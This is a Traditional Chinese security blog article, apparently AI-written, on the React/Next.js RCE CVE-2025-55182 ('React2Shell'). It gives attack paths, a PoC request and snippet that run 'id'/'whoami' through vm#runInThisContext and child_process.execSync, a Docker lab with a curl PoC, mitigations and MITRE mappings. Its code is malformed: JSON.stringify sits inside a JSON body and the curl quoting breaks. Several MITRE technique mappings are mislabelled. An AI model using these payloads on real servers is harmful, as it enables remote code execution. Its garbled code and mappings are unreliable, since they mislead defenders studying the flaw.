Home/攻防技術 / 🔥React/Next.js RCE 漏洞 (CVE-2025‑55182) 原始碼分析與驗證環境

React/Next.js RCE 漏洞 (CVE-2025‑55182) 原始碼分析與驗證環境

2025 年 12 月,React Server Components (RSC) 以及 Next.js 15‑16 版本被曝出一個嚴重的未驗證遠程程式碼執行(RCE)漏洞,代號 CVE‑2025‑55182,俗稱 React2Shell。本文針對該漏洞的發現背景、攻擊原理、PoC 核心代碼、驗證環境搭建以及緩解措施進行深入剖析,並提供實際可執行的測試腳本與檢測工具。

1. 漏洞背景

React Server Components 透過 Flight 協定在伺服器與客戶端之間傳輸「payload」。漏洞源於對傳入 payload 的反序列化處理不安全,攻擊者可在未經身份驗證的情況下,使用精心構造的 HTTP 請求將任意 JavaScript 代碼注入並執行。
受影響的版本如下:

  • React:19.0.0, 19.1.0, 19.1.1, 19.2.0
  • Next.js:15.x(< 15.1.4)、16.x(< 16.0.7)

此漏洞的 CVSS 分數為 10.0,表明其致命性。Censys 在其安全通報中指出,全球已存在超過 200 萬個受風險服務實例,且 APT 組織已在實際攻擊中利用此漏洞(來源 3)。

2. 攻擊原理

漏洞主要依賴於三種路徑:

  • **直接 RCE**:利用 vm.runInThisContext 執行傳入字串,進而調用 child_process.execSync 執行系統命令。
  • **間接 RCE**:先使用 fs.writeFileSync 將惡意腳本寫入磁碟,再透過 module._load 加載並執行。
  • **原型鏈操縱**:透過 constructor / __proto__ 等屬性獲取 Function 構造函數,構造可執行代碼。

以下為一個典型的直接 RCE PoC:

📂 收合(點我收起)

POST /_next/data/... HTTP/1.1
Host: vulnerable.example.com
Content-Type: application/json

{
  "$ACTION_REF_0":"",
  "$ACTION_0:0":JSON.stringify({
    id:"vm#runInThisContext",
    bound:["process.mainModule.require('child_process').execSync('id').toString()"]
  })
}

(來源 1)

3. 原始碼關鍵文件解析

GitHub 上的 exploit-rce-v4.jsexploit-indirect-rce.js 以及 exploit-all-gadgets.js 分別展示了三種利用場景。核心邏輯大致如下:

📂 收合(點我收起)

const payload = {
  id: 'vm#runInThisContext',
  bound: ['process.mainModule.require("child_process").execSync("whoami").toString()']
};
const jsonPayload = JSON.stringify(payload);
// 送至 /_next/data/... 端點即可觸發

4. 驗證環境搭建

以下步驟可在本機或雲端快速搭建驗證環境(以 Docker 為例):

📂 收合(點我收起)

# 1. 拉取受影響版本
docker run --name react2shell -d -p 3000:3000 node:18-alpine
# 2. 進入容器
docker exec -it react2shell sh
# 3. 安裝受影響版本
npm init -y
npm install react@19.0.0 react-dom@19.0.0
npm install next@15.1.3

# 4. 建立簡易 Next.js 應用
npx create-next-app@15
cd myapp
# 5. 啟動服務
npm run dev
# 6. 在另一個終端送出 PoC 請求
curl -X POST http://localhost:3000/_next/data/... -H "Content-Type: application/json" -d '{"$ACTION_REF_0":"","$ACTION_0:0":JSON.stringify({"id":"vm#runInThisContext","bound":["process.mainModule.require("child_process").execSync("id").toString()"]})}'

# 7. 觀察容器日誌,確認命令已執行

若命令成功執行,容器會輸出類似 uid=1000(user) gid=1000(user) groups=1000(user)

5. 緩解與修復

  • **立即升級**:React 19.2.1 / react-dom 19.2.1;Next.js 15.1.4 / 16.0.7。
  • **開源檢測工具**:npx react2shell-check 可快速掃描應用版本是否存在漏洞(來源 2)。
  • **最小化暴露**:若無法立即升級,建議在 next.config.js 禁用不必要的 RSC 功能,或使用 next-override 限制 vm / child_process 模組。
  • **監控與警示**:利用 WAF 或 API Gateway 的「不安全序列化」檢測規則,過濾含有 vm#runInThisContext 的請求。

6. MITRE ATT&CK 對應

  • T1059 – 命令與腳本執行(Execution)
  • T1129 – 反序列化漏洞(Exploitation for Privilege Escalation)
  • T1070 – 監控減弱(Defense Evasion)

參考資料與原文來源


🧠本文由 DreamJ AI 技術新聞生成系統 自動撰寫並進行語意優化,僅供技術研究與教學使用。
請以原廠公告、CVE 官方資料與安全建議為最終依據。

🔥React/Next.js RCE 漏洞 (CVE-2025‑55182) 原始碼分析與驗證環境

🧠 本文章與所附圖片部分內容為 AI 生成或 AI 輔助產製。文中提及之商標、品牌名稱、產品圖片及相關標識, 其著作權與商標權均屬原權利人所有,本網站僅作為資訊呈現與示意使用

最新文章

推薦文章

留言

發佈留言

發佈留言必須填寫的電子郵件地址不會公開。 必填欄位標示為 *

分析完成 ✔